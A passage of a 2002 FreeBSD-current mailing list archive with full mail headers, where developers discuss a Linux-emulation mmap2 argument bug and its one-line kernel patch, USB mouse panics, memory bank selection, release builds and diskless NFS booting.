pool0275.cvx22-bradley.dialup.earthlink.net ([209.179.199.20] helo=mindspring.com) by falcon.prod.itd.earthlink.net with esmtp (Exim 3.33 #2) id 170WLM-000119-00; Wed, 24 Apr 2002 16:38:36 -0700 Message-ID: <3CC741E0.2BB79E0C@mindspring.com> Date: Wed, 24 Apr 2002 16:38:08 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Steve O'Hara-Smith Cc: scrappy@hub.org, freebsd-current@freebsd.org, freebsd-stable@freebsd.org Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? References: <20020422091602.O1721-100000@mail1.hub.org> <3CC40A62.B40E816F@mindspring.com> <20020424191849.3a81b126.steve@sohara.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Steve O'Hara-Smith wrote: > On Mon, 22 Apr 2002 06:04:34 -0700 > Terry Lambert wrote: > > TL> FreeBSD doesn't currently support bank selection. Peter was > TL> working on it, last time I heard. Linux supports it, at an > TL> incredible performance penalty. > > This inspired an off the wall thought that may be insane. Would > it be possible (on a >4Gb system) to address 4Gb of RAM and write a driver > to make the rest appear as a device, which could then be used for a > preferred or (even neater) first level swap. Only if you reserved a window for it. Say 1G of KVA, though last I checked the bank selection granularity wasn't fine enough for that. Memory in the window can *never* be a target for DMA, and should *probably* never be used for kernel structures. If you ever programmed graphics on a TI 99/4A, which has a 4k visible window onto screen memory, or programmed code on the Commodore C64 to use the 32K of RAM-under-ROM, or programmed in DOS or CP/M using Overlays, then you'll be familiar with the problem. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 16:50:43 2002 Delivered-To: freebsd-current@freebsd.org Received: from mailhub.yumyumyum.org (dsl092-171-091.wdc1.dsl.speakeasy.net [66.92.171.91]) by hub.freebsd.org (Postfix) with SMTP id 145C537B400 for ; Wed, 24 Apr 2002 16:50:39 -0700 (PDT) Received: (qmail 39804 invoked from network); 24 Apr 2002 23:47:47 -0000 Received: from dsl092-171-091.wdc1.dsl.speakeasy.net (66.92.171.91) by dsl092-171-091.wdc1.dsl.speakeasy.net with SMTP; 24 Apr 2002 23:47:47 -0000 Date: Wed, 24 Apr 2002 19:47:47 -0400 (EDT) From: Kenneth Culver To: John Baldwin Cc: FreeBSD-CURRENT List , FreeBSD-CURRENT List , , Brandon S Allbery KF8NH , Andrew Gallatin Subject: Re: implementing linux mmap2 syscall In-Reply-To: <20020424193252.S39698-100000@alpha.yumyumyum.org> Message-ID: <20020424194250.Y39769-100000@alpha.yumyumyum.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > I'm actually still not seeing a match between what's in truss, and what's > in my printed-out args, but it seems to be working anyway... > Argh, it's not working again... It was working on an install of ms office, but it won't work on some old windows game.. (winex) and it's still not setting the last arg (or register properly): truss output: linux_mmap2(0x65430000,0x100000,0x3,0x11,0x9,0x6) = 1698889728 (0x65430000) notice that the last arg is 0x6, that's the page offset... what the kernel prints for the same call: mmap2(0x65430000, 1048576, 3, 0x00000011, 9, 0) notice that they both have all the same values until you get to the last one... at which point the value is wrong... Apparently this only causes problems on some windows programs that one may try to execute, and not on others... So, where can I force this to get set? Ken To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 16:50:50 2002 Delivered-To: freebsd-current@freebsd.org Received: from mailhub.yumyumyum.org (dsl092-171-091.wdc1.dsl.speakeasy.net [66.92.171.91]) by hub.freebsd.org (Postfix) with SMTP id 02D6A37B41C for ; Wed, 24 Apr 2002 16:50:43 -0700 (PDT) Received: (qmail 39804 invoked from network); 24 Apr 2002 23:47:47 -0000 Received: from dsl092-171-091.wdc1.dsl.speakeasy.net (66.92.171.91) by dsl092-171-091.wdc1.dsl.speakeasy.net with SMTP; 24 Apr 2002 23:47:47 -0000 Date: Wed, 24 Apr 2002 19:47:47 -0400 (EDT) From: Kenneth Culver To: John Baldwin Cc: FreeBSD-CURRENT List , FreeBSD-CURRENT List , , Brandon S Allbery KF8NH , Andrew Gallatin Subject: Re: implementing linux mmap2 syscall In-Reply-To: <20020424193252.S39698-100000@alpha.yumyumyum.org> Message-ID: <20020424194250.Y39769-100000@alpha.yumyumyum.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > I'm actually still not seeing a match between what's in truss, and what's > in my printed-out args, but it seems to be working anyway... > Argh, it's not working again... It was working on an install of ms office, but it won't work on some old windows game.. (winex) and it's still not setting the last arg (or register properly): truss output: linux_mmap2(0x65430000,0x100000,0x3,0x11,0x9,0x6) = 1698889728 (0x65430000) notice that the last arg is 0x6, that's the page offset... what the kernel prints for the same call: mmap2(0x65430000, 1048576, 3, 0x00000011, 9, 0) notice that they both have all the same values until you get to the last one... at which point the value is wrong... Apparently this only causes problems on some windows programs that one may try to execute, and not on others... So, where can I force this to get set? Ken To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 16:53:21 2002 Delivered-To: freebsd-current@freebsd.org Received: from soulshock.mail.pas.earthlink.net (soulshock.mail.pas.earthlink.net [207.217.120.130]) by hub.freebsd.org (Postfix) with ESMTP id 3B02437B41C for ; Wed, 24 Apr 2002 16:53:18 -0700 (PDT) Received: from falcon.prod.itd.earthlink.net (falcon.mail.pas.earthlink.net [207.217.120.74]) by soulshock.mail.pas.earthlink.net (8.11.6+Sun/8.11.6) with ESMTP id g3ONfJ800095 for ; Wed, 24 Apr 2002 16:41:19 -0700 (PDT) Received: from pool0275.cvx22-bradley.dialup.earthlink.net ([209.179.199.20] helo=mindspring.com) by falcon.prod.itd.earthlink.net with esmtp (Exim 3.33 #2) id 170WNU-0003Ke-00; Wed, 24 Apr 2002 16:40:49 -0700 Message-ID: <3CC74264.D59182A3@mindspring.com> Date: Wed, 24 Apr 2002 16:40:20 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Makoto Matsushita Cc: freebsd-current@FreeBSD.ORG Subject: Re: upgrade from 4.5 to current fails References: <004d01c1eb8a$bfadfef0$594bfea9@bender> <004d01c1eb8a$bfadfef0$594bfea9@bender> <20020424082937.A35418@troutmask.apl.washington.edu> <20020425024918N.matusita@jp.FreeBSD.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Makoto Matsushita wrote: > sgk> Note the Error code 1(ignored). > > That's right, it's not an actual *error*. > > However, we have seen such a report so many, many times. We may want > to consider changing src/sys/conf/kmod.mk to shut it up. Or deleting "klxref" entirely. If it's ignorable, then the system can function fine without it. If the system can't function fine without it, well, then it's not ignorable. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 16:54:46 2002 Delivered-To: freebsd-current@freebsd.org Received: from fw.wemm.org (12-232-135-171.client.attbi.com [12.232.135.171]) by hub.freebsd.org (Postfix) with ESMTP id DDDC537B417; Wed, 24 Apr 2002 16:54:41 -0700 (PDT) Received: from overcee.wemm.org (overcee.wemm.org [10.0.0.3]) by fw.wemm.org (8.11.6/8.11.6) with ESMTP id g3ONrVe36548; Wed, 24 Apr 2002 16:53:31 -0700 (PDT) (envelope-from peter@wemm.org) Received: from wemm.org (localhost [127.0.0.1]) by overcee.wemm.org (Postfix) with ESMTP id 2728138FD; Wed, 24 Apr 2002 16:53:32 -0700 (PDT) (envelope-from peter@wemm.org) X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Alexander Leidinger Cc: current@FreeBSD.ORG, joe@FreeBSD.ORG Subject: Re: panic at shutdown, ums related? In-Reply-To: <200204241723.g3OHNLEi000541@Magelan.Leidinger.net> Date: Wed, 24 Apr 2002 16:53:32 -0700 From: Peter Wemm Message-Id: <20020424235332.2728138FD@overcee.wemm.org> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Alexander Leidinger wrote: > Hi, > > backtrace from the console, no core dump: > panic: Removing other than first element > > usb_transfer_complete > uhci_device_intr_abort > usbd_ar_pipe > usbd_abort_pipe > ums_disable > ums_close > spec_close > ... > > It seems I may get it at every shutdown, so if there's something I > should look at... USB is pretty hosed. :-( For a while, removing the mouse didn't get detected and you had to kill moused manually. Then the removal event happened. A new moused would start but it was impossible to kill -9 the old moused. If you remove the mouse again, it instantly panics the box. I've not seen what is happening as I've always been in X at the time. :-/ Cheers, -Peter -- Peter Wemm - peter@wemm.org; peter@FreeBSD.org; peter@yahoo-inc.com "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 17: 1:16 2002 Delivered-To: freebsd-current@freebsd.org Received: from flamingo.mail.pas.earthlink.net (flamingo.mail.pas.earthlink.net [207.217.120.232]) by hub.freebsd.org (Postfix) with ESMTP id 5CD2137B404; Wed, 24 Apr 2002 17:01:12 -0700 (PDT) Received: from pool0275.cvx22-bradley.dialup.earthlink.net ([209.179.199.20] helo=mindspring.com) by flamingo.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 170Wf3-0006oa-00; Wed, 24 Apr 2002 16:58:58 -0700 Message-ID: <3CC746A5.51836C62@mindspring.com> Date: Wed, 24 Apr 2002 16:58:29 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Peter Wemm Cc: Alexander Leidinger , current@FreeBSD.ORG, joe@FreeBSD.ORG Subject: Re: panic at shutdown, ums related? References: <20020424235332.2728138FD@overcee.wemm.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Peter Wemm wrote: > USB is pretty hosed. :-( > > For a while, removing the mouse didn't get detected and you had to kill moused > manually. Then the removal event happened. A new moused would start but it > was impossible to kill -9 the old moused. If you remove the mouse again, it > instantly panics the box. I've not seen what is happening as I've always been > in X at the time. :-/ USB hates Mieces to pieces. I've taken to using NetGear based KVM switches, which is not really an option if the problem is with a laptop and/or docking port (sorry), but might be an OK way to deal with peripheral sharing on a desktop, until USB gets fixed. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 17: 1:47 2002 Delivered-To: freebsd-current@freebsd.org Received: from fw.wemm.org (12-232-135-171.client.attbi.com [12.232.135.171]) by hub.freebsd.org (Postfix) with ESMTP id 14F2837B419; Wed, 24 Apr 2002 17:01:26 -0700 (PDT) Received: from overcee.wemm.org (overcee.wemm.org [10.0.0.3]) by fw.wemm.org (8.11.6/8.11.6) with ESMTP id g3ONxle36582; Wed, 24 Apr 2002 16:59:47 -0700 (PDT) (envelope-from peter@wemm.org) Received: from wemm.org (localhost [127.0.0.1]) by overcee.wemm.org (Postfix) with ESMTP id 0B67E38FD; Wed, 24 Apr 2002 16:59:47 -0700 (PDT) (envelope-from peter@wemm.org) X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Kenneth Culver Cc: John Baldwin , FreeBSD-CURRENT List , freebsd-hackers@FreeBSD.ORG, Brandon S Allbery KF8NH , Andrew Gallatin Subject: Re: implementing linux mmap2 syscall In-Reply-To: <20020424194250.Y39769-100000@alpha.yumyumyum.org> Date: Wed, 24 Apr 2002 16:59:47 -0700 From: Peter Wemm Message-Id: <20020424235947.0B67E38FD@overcee.wemm.org> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Kenneth Culver wrote: > > I'm actually still not seeing a match between what's in truss, and what's > > in my printed-out args, but it seems to be working anyway... > > > Argh, it's not working again... It was working on an install of ms office, > but it won't work on some old windows game.. (winex) and it's still not > setting the last arg (or register properly): > > truss output: > > linux_mmap2(0x65430000,0x100000,0x3,0x11,0x9,0x6) = 1698889728 > (0x65430000) > > notice that the last arg is 0x6, that's the page offset... > > what the kernel prints for the same call: > > mmap2(0x65430000, 1048576, 3, 0x00000011, 9, 0) > > notice that they both have all the same values until you get to the last > one... at which point the value is wrong... Apparently this only causes > problems on some windows programs that one may try to execute, and not on > others... > > So, where can I force this to get set? > > Ken Try this: RCS file: /home/ncvs/src/sys/i386/linux/linux_sysvec.c,v retrieving revision 1.99 diff -u -2 -r1.99 linux_sysvec.c --- linux_sysvec.c 4 Apr 2002 17:49:46 -0000 1.99 +++ linux_sysvec.c 24 Apr 2002 23:57:23 -0000 @@ -711,4 +711,5 @@ args[3] = tf->tf_esi; args[4] = tf->tf_edi; + args[5] = tf->tf_ebp; *params = NULL; /* no copyin */ } Cheers, -Peter -- Peter Wemm - peter@wemm.org; peter@FreeBSD.org; peter@yahoo-inc.com "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 17: 9: 0 2002 Delivered-To: freebsd-current@freebsd.org Received: from mailhub.yumyumyum.org (dsl092-171-091.wdc1.dsl.speakeasy.net [66.92.171.91]) by hub.freebsd.org (Postfix) with SMTP id 854F737B419 for ; Wed, 24 Apr 2002 17:08:53 -0700 (PDT) Received: (qmail 39930 invoked from network); 25 Apr 2002 00:06:09 -0000 Received: from dsl092-171-091.wdc1.dsl.speakeasy.net (66.92.171.91) by dsl092-171-091.wdc1.dsl.speakeasy.net with SMTP; 25 Apr 2002 00:06:09 -0000 Date: Wed, 24 Apr 2002 20:06:09 -0400 (EDT) From: Kenneth Culver To: Peter Wemm Cc: Andrew Gallatin , Brandon S Allbery KF8NH , , FreeBSD-CURRENT List Subject: Re: implementing linux mmap2 syscall In-Reply-To: <20020424235122.263FB38FD@overcee.wemm.org> Message-ID: <20020424195920.D39879-100000@alpha.yumyumyum.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > Here's where it happens: > sys/i386/linux/linux_sysvec.c > > static void > linux_prepsyscall(struct trapframe *tf, int *args, u_int *code, caddr_t *params) > { > args[0] = tf->tf_ebx; > args[1] = tf->tf_ecx; > args[2] = tf->tf_edx; > args[3] = tf->tf_esi; > args[4] = tf->tf_edi; > *params = NULL; /* no copyin */ > } > > You probably want to add: > args[5] = tf->tf_ebp; > so that it ends up in the syscallargs struct. Yeah, I did that... it still doesn't work, tf_ebp isn't getting set... So I'm thinking that either I have a glibc that's too old, or something else is wrong... > > For FreeBSD syscalls, we copy this from the top of stack for the number of > 32 bit words specified in the syscall table in i386/trap.c: > if (params && (i = narg * sizeof(int)) && > (error = copyin(params, (caddr_t)args, (u_int)i))) { > (narg comes from the syscall table). > OK, that gives me an idea... Ken To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 17:10:15 2002 Delivered-To: freebsd-current@freebsd.org Received: from mailhub.yumyumyum.org (dsl092-171-091.wdc1.dsl.speakeasy.net [66.92.171.91]) by hub.freebsd.org (Postfix) with SMTP id D45D937B416 for ; Wed, 24 Apr 2002 17:10:08 -0700 (PDT) Received: (qmail 39946 invoked from network); 25 Apr 2002 00:07:22 -0000 Received: from dsl092-171-091.wdc1.dsl.speakeasy.net (66.92.171.91) by dsl092-171-091.wdc1.dsl.speakeasy.net with SMTP; 25 Apr 2002 00:07:22 -0000 Date: Wed, 24 Apr 2002 20:07:22 -0400 (EDT) From: Kenneth Culver To: Peter Wemm Cc: John Baldwin , FreeBSD-CURRENT List , , Brandon S Allbery KF8NH , Andrew Gallatin Subject: Re: implementing linux mmap2 syscall In-Reply-To: <20020424235947.0B67E38FD@overcee.wemm.org> Message-ID: <20020424200635.J39942-100000@alpha.yumyumyum.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > RCS file: /home/ncvs/src/sys/i386/linux/linux_sysvec.c,v > retrieving revision 1.99 > diff -u -2 -r1.99 linux_sysvec.c > --- linux_sysvec.c 4 Apr 2002 17:49:46 -0000 1.99 > +++ linux_sysvec.c 24 Apr 2002 23:57:23 -0000 > @@ -711,4 +711,5 @@ > args[3] = tf->tf_esi; > args[4] = tf->tf_edi; > + args[5] = tf->tf_ebp; > *params = NULL; /* no copyin */ > } > > Cheers, > -Peter > -- > Peter Wemm - peter@wemm.org; peter@FreeBSD.org; peter@yahoo-inc.com > "All of this is for nothing if we don't go to the stars" - JMS/B5 > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > > yeah, I did that already, and have been running with that since yesterday :-P still not working right though... I think it has something to do with that nargs thing... I'm checking that out now... Ken To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 17:15:59 2002 Delivered-To: freebsd-current@freebsd.org Received: from fw.wemm.org (12-232-135-171.client.attbi.com [12.232.135.171]) by hub.freebsd.org (Postfix) with ESMTP id 91BF537B404; Wed, 24 Apr 2002 17:15:47 -0700 (PDT) Received: from overcee.wemm.org (overcee.wemm.org [10.0.0.3]) by fw.wemm.org (8.11.6/8.11.6) with ESMTP id g3ONpMe36529; Wed, 24 Apr 2002 16:51:22 -0700 (PDT) (envelope-from peter@wemm.org) Received: from wemm.org (localhost [127.0.0.1]) by overcee.wemm.org (Postfix) with ESMTP id 263FB38FD; Wed, 24 Apr 2002 16:51:22 -0700 (PDT) (envelope-from peter@wemm.org) X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Kenneth Culver Cc: Andrew Gallatin , Brandon S Allbery KF8NH , freebsd-hackers@FreeBSD.ORG, FreeBSD-CURRENT List Subject: Re: implementing linux mmap2 syscall In-Reply-To: <20020424161828.R38664-100000@alpha.yumyumyum.org> Date: Wed, 24 Apr 2002 16:51:22 -0700 From: Peter Wemm Message-Id: <20020424235122.263FB38FD@overcee.wemm.org> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Kenneth Culver wrote: > > > > Brandon S Allbery KF8NH writes: > > > On Wed, 2002-04-24 at 10:41, Andrew Gallatin wrote: > > > > Maybe the argument isn't where you expect it to be, but is there. > > > > Can you make a test program which calls mmap2 with its 6th arg as > > > > something unique like 0xdeadbeef? Then print out (in hex :) the trapf rame > > > > from the linux prepsyscall routine & see if you can find the deadbeef. > > > > > > My recollection is that beyond 5 arguments, a pointer to the remaining > > > ones is passed. (But my recollection may be wrong and I don't wish to > > > subject myself to the source cesspool at the moment....) > > > > > > > I think that's how it used to work. Apparently, they've changed it > > recently and they now pass 6 args in registers. Eg, in the linux > > kernel sources, old_mmap() fetches its args via copy_from_user(), > > whereas the newer sys_mmap2() doesn't. > > > > Drew > > > Yep, according to the docs and source code I looked at in the linux > kernel, the sixth arg is in the ebp register. I've looked all over the > FreeBSD kernel and the linux emulator for the place that actually sets > these, and unfortunately, due to my lack of asm coding knowledge, I can't > find anything. Here's where it happens: sys/i386/linux/linux_sysvec.c static void linux_prepsyscall(struct trapframe *tf, int *args, u_int *code, caddr_t *params) { args[0] = tf->tf_ebx; args[1] = tf->tf_ecx; args[2] = tf->tf_edx; args[3] = tf->tf_esi; args[4] = tf->tf_edi; *params = NULL; /* no copyin */ } You probably want to add: args[5] = tf->tf_ebp; so that it ends up in the syscallargs struct. For FreeBSD syscalls, we copy this from the top of stack for the number of 32 bit words specified in the syscall table in i386/trap.c: if (params && (i = narg * sizeof(int)) && (error = copyin(params, (caddr_t)args, (u_int)i))) { (narg comes from the syscall table). Cheers, -Peter -- Peter Wemm - peter@wemm.org; peter@FreeBSD.org; peter@yahoo-inc.com "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 17:48: 3 2002 Delivered-To: freebsd-current@freebsd.org Received: from castle.jp.FreeBSD.org (castle.jp.FreeBSD.org [210.226.20.15]) by hub.freebsd.org (Postfix) with ESMTP id A013E37B41B; Wed, 24 Apr 2002 17:47:57 -0700 (PDT) Received: from localhost (localhost [::1]) by castle.jp.FreeBSD.org (8.11.6+3.4W/8.11.3) with ESMTP/inet6 id g3P0kA496865; Thu, 25 Apr 2002 09:46:10 +0900 (JST) (envelope-from matusita@jp.FreeBSD.org) Cc: current@FreeBSD.org, re@FreeBSD.org In-Reply-To: <20020424180747.GA12943@sunbay.com> References: <20020424151201.GA94711@sunbay.com> <20020425014404T.matusita@jp.FreeBSD.org> <20020424180747.GA12943@sunbay.com> X-User-Agent: Mew/1.94.2 XEmacs/21.5 (bamboo) X-FaceAnim: (-O_O-)(O_O- )(_O- )(O- )(- -)( -O)( -O_)( -O_O)(-O_O-) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Dispatcher: imput version 20000228(IM140) Lines: 19 From: Makoto Matsushita To: ru@FreeBSD.org Subject: Re: Cross-platform releases Date: Thu, 25 Apr 2002 09:46:05 +0900 Message-Id: <20020425094605X.matusita@jp.FreeBSD.org> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ru> A fast -CURRENT box with root access for "make release" would be ru> highly appreciated. My 500MHz Celeron is too slow for this. snapshots.jp.FreeBSD.org and associate build machines are all P3-500Mhz, not so fast like Celeron 500Mhz... ru> There are no syscall issues in my version because I do not do a ru> second "installworld". Ah, I see, and we cannot do second installworld since it installs 'target' arch's binary :-) ru> I estimate that 30% is already done. :-) Great, keep on :-) -- - Makoto `MAR' Matsushita To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 18:18:43 2002 Delivered-To: freebsd-current@freebsd.org Received: from mailhub.yumyumyum.org (dsl092-171-091.wdc1.dsl.speakeasy.net [66.92.171.91]) by hub.freebsd.org (Postfix) with SMTP id 2858037B41A for ; Wed, 24 Apr 2002 18:18:39 -0700 (PDT) Received: (qmail 40305 invoked from network); 25 Apr 2002 01:16:04 -0000 Received: from dsl092-171-091.wdc1.dsl.speakeasy.net (66.92.171.91) by dsl092-171-091.wdc1.dsl.speakeasy.net with SMTP; 25 Apr 2002 01:16:04 -0000 Date: Wed, 24 Apr 2002 21:16:04 -0400 (EDT) From: Kenneth Culver To: Peter Wemm Cc: John Baldwin , FreeBSD-CURRENT List , , Brandon S Allbery KF8NH , Andrew Gallatin Subject: Re: implementing linux mmap2 syscall In-Reply-To: <20020424200635.J39942-100000@alpha.yumyumyum.org> Message-ID: <20020424210936.S40254-100000@alpha.yumyumyum.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > yeah, I did that already, and have been running with that since yesterday > :-P > > still not working right though... I think it has something to do with that > nargs thing... I'm checking that out now... > Ehh, apparently sy_narg is getting set correctly too: struct linux_mmap2_args { l_ulong addr; char addr_[PAD_(l_ulong)]; l_ulong len; char len_[PAD_(l_ulong)]; l_ulong prot; char prot_[PAD_(l_ulong)]; l_ulong flags; char flags_[PAD_(l_ulong)]; l_ulong fd; char fd_[PAD_(l_ulong)]; l_ulong pgoff; char pgoff_[PAD_(l_ulong)]; }; #define AS(name) (sizeof(struct name) / sizeof(register_t)) { AS(linux_mmap2_args), (sy_call_t *)linux_mmap2 } not that it really matters, the linux_prepsyscall is setting the params to null: static void linux_prepsyscall(struct trapframe *tf, int *args, u_int *code, caddr_t *params){ args[0] = tf->tf_ebx; args[1] = tf->tf_ecx; args[2] = tf->tf_edx; args[3] = tf->tf_esi; args[4] = tf->tf_edi; args[5] = tf->tf_ebp; *params = NULL; /* no copyin */ } so the code in syscall2 will not even bother to try to copy in the args... it just uses whatever linux_prepsyscall tells it to use, and completely ignores nargs... at least as far as I can tell... Ken To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 18:46: 6 2002 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id DDD4237B404; Wed, 24 Apr 2002 18:46:01 -0700 (PDT) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.11.3/8.11.3) with ESMTP id g3P1iPH86447; Wed, 24 Apr 2002 19:44:25 -0600 (MDT) (envelope-from imp@village.org) Received: from localhost (warner@rover2.village.org [10.0.0.1]) by harmony.village.org (8.11.6/8.11.6) with ESMTP id g3P1iOb37240; Wed, 24 Apr 2002 19:44:24 -0600 (MDT) (envelope-from imp@village.org) Date: Wed, 24 Apr 2002 19:44:20 -0600 (MDT) Message-Id: <20020424.194420.123207810.imp@village.org> To: obrien@FreeBSD.ORG Cc: danny@cs.huji.ac.il, current@FreeBSD.ORG Subject: Re: FreeBSD 5.0 Developer Preview #1 Now Available / diskless booting From: "M. Warner Losh" In-Reply-To: <20020422234701.A52794@dragon.nuxi.com> References: <20020422234701.A52794@dragon.nuxi.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In message: <20020422234701.A52794@dragon.nuxi.com> "David O'Brien" writes: : The very original "solution" was to mount NFS / RW. The move to : /conf/default/etc was someone's special needs leaking into the FreeBSD : repository. If you want to special case, things be my guest -- add an : elif test; but leave RW NFS mounted / alone. / should only be mounted RO IFF root_rw_mount is not empty aand doesn't match [Nn][Oo]. We already have a variable for dealing with that. /etc/rc.diskless* shouldn't, as obrien points out, assume a specific setting. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 18:46:50 2002 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id 8535437B41C; Wed, 24 Apr 2002 18:46:46 -0700 (PDT) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.11.3/8.11.3) with ESMTP id g3P1jNH86464; Wed, 24 Apr 2002 19:45:23 -0600 (MDT) (envelope-from imp@village.org) Received: from localhost (warner@rover2.village.org [10.0.0.1]) by harmony.village.org (8.11.6/8.11.6) with ESMTP id g3P1jMb37248; Wed, 24 Apr 2002 19:45:22 -0600 (MDT) (envelope-from imp@village.org) Date: Wed, 24 Apr 2002 19:45:18 -0600 (MDT) Message-Id: <20020424.194518.59061982.imp@village.org> To: obrien@FreeBSD.ORG Cc: rwatson@FreeBSD.ORG, tlambert2@mindspring.com, danny@cs.huji.ac.il, current@FreeBSD.ORG Subject: Re: FreeBSD 5.0 Developer Preview #1 Now Available / diskless booting From: "M. Warner Losh" In-Reply-To: <20020423094628.A85404@dragon.nuxi.com> References: <20020423075148.I52794@dragon.nuxi.com> <20020423094628.A85404@dragon.nuxi.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In message: <20020423094628.A85404@dragon.nuxi.com> "David O'Brien" writes: : On Tue, Apr 23, 2002 at 12:19:58PM -0400, Robert Watson wrote: : 